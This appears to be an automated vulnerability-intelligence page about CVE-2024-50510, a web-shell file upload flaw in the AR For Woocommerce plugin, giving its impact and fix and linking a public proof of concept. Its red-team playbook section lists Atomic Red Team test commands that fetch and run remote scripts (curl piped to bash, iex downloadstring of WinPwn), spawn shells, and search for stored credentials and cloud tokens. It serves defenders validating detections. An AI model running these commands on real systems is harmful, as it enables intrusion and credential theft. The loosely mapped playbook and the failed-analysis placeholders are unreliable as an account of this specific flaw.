CVE-2024-50510
Overview
This vulnerability is an unrestricted file upload flaw classified under CWE-434. It arises from inadequate validation of uploaded file types in the webandprint AR For Woocommerce plugin, specifically in its file upload handling component. The affected feature improperly permits uploading files with dangerous extensions, including web shells, without enforcing restrictions or sanitization mechanisms.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in webandprint AR For Woocommerce ar-for-woocommerce allows Upload a Web Shell to a Web Server.This issue affects AR For Woocommerce: from n/a through <= 6.3.
Impact
An unauthenticated attacker can upload and execute arbitrary code on the target web server by placing a malicious web shell via the vulnerable upload mechanism. This enables full remote code execution, potentially leading to complete server compromise, data theft, or persistent backdoor installation. No user authentication or interaction is required, making exploitation straightforward and highly impactful for affected installations of the plugin.
Solution
Users of webandprint AR For Woocommerce should upgrade to a version later than 6.3 where this vulnerability is resolved. The patchstack advisory at https://patchstack.com/database/Wordpress/Plugin/ar-for-woocommerce/vulnerability/wordpress-ar-for-woocommerce-plugin-6-2-arbitrary-file-upload-vulnerability?_s_id=cve provides detailed instructions and confirms the fixed versions. Applying the vendor-released update that enforces strict file type validation and upload sanitization is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability associated with the unrestricted upload of files with dangerous types in the AR For Woocommerce plugin presents a significant risk to web servers. This flaw allows an attacker to upload malicious files, such as web shells, which can be executed on the server. The issue arises from inadequate validation of file types, enabling the upload of files that should be restricted. When a web shell is successfully uploaded, it grants the attacker remote access to the server, allowing for a range of malicious activities, including data exfiltration, defacement, or further exploitation of the underlying system.
Attack vectors for this vulnerability are particularly concerning due to their simplicity and effectiveness. An attacker can exploit the flaw by crafting a specially designed file upload request that bypasses the existing security measures. This could be done through a variety of methods, such as manipulating the file extension or MIME type to disguise the malicious payload. Once the web shell is uploaded, the attacker can execute commands on the server, potentially gaining control over the entire web application and any associated databases. This exploitation could occur in a matter of minutes, making it a time-sensitive threat that organizations must address promptly.
The real-world impact of this vulnerability is profound, especially for businesses relying on the AR For Woocommerce plugin for their e-commerce operations. Successful exploitation can lead to unauthorized access to sensitive customer data, including payment information and personal details. This not only poses a direct financial risk due to potential fraud but also threatens the organization's reputation and customer trust. Furthermore, regulatory repercussions may arise if customer data is compromised, leading to legal liabilities and fines. The potential for widespread disruption to business operations cannot be underestimated, as attackers could use the compromised server to launch further attacks or disrupt services.
To detect and mitigate this vulnerability, organizations must implement a multi-layered security approach. Regular security audits and code reviews should be conducted to identify and rectify weaknesses in the file upload functionality. Employing a web application firewall (WAF) can help filter out malicious requests before they reach the server. Additionally, strict file type validation should be enforced, ensuring that only safe file types are permitted for upload. Organizations should also consider implementing file scanning solutions that analyze uploaded files for known malware signatures. Finally, maintaining up-to-date backups and incident response plans can help mitigate the impact of a successful attack.
In conclusion, the unrestricted upload of dangerous file types in the AR For Woocommerce plugin poses a critical threat to web applications. The ease of exploitation and the severe consequences of a successful attack necessitate immediate attention from organizations utilizing this plugin. By adopting proactive detection and mitigation strategies, businesses can significantly reduce their risk exposure and safeguard their digital assets against this vulnerability. The importance of maintaining robust security practices cannot be overstated, as the landscape of cyber threats continues to evolve.
Recent developments in the CVE-2024-50510 vulnerability landscape reveal a marked escalation in exploit availability and attack feasibility. CSURFACE threat intelligence has identified the emergence of a public proof-of-concept exploit hosted on GitHub, significantly lowering the barrier for threat actors to weaponize this critical flaw. This shift is reflected in the vulnerability’s CVSS score adjustment to 10.0, underscoring its maximum severity, and an EPSS score rising to 0.33, placing it in the upper percentile of likely exploitation. Our telemetry indicates that while exploitation attempts have not surged rapidly, the stable presence of exploit code in the wild signals a persistent and credible threat. For defenders, this development means that automated and opportunistic attacks exploiting unrestricted file upload capabilities are now more accessible, increasing the risk of web shell deployment and subsequent full system compromise. Consequently, the threat level has escalated from theoretical to imminent, necessitating heightened vigilance in detection and response efforts across affected environments.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-50510
AR For Woocommerce <= 6.2 - Unauthenticated Arbitrary File Upload
|
RandomRobbieBF | 0 | 0 | 2024-12-16 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-50510 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/ar-for-woocommerce/vulnerability/wordpress-ar-for-woocommerce-plugin-6-2-arbitrary-file-upload-vulnerability?_s_id=cve |